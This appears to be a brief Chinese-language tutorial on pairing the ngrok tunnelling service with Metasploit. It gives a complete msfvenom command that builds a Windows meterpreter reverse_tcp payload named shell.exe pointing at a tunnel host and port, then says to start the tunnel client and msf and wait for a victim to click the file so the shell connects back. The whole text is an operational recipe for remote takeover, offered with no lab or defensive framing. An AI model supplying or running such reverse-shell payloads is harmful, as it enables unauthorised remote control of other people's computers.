ngrok的使用
地址
http://www.ngrok.cc
1)开通隧道
2)生成msf payload,使用ngrok的地址与端口
生成payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.com LPORT=10842 -f exe> shell.exe
3)启动ngrok客户端,msf启动
ngrok
./sunny clientid 隧道id
msf
点击shell.exe。shell弹回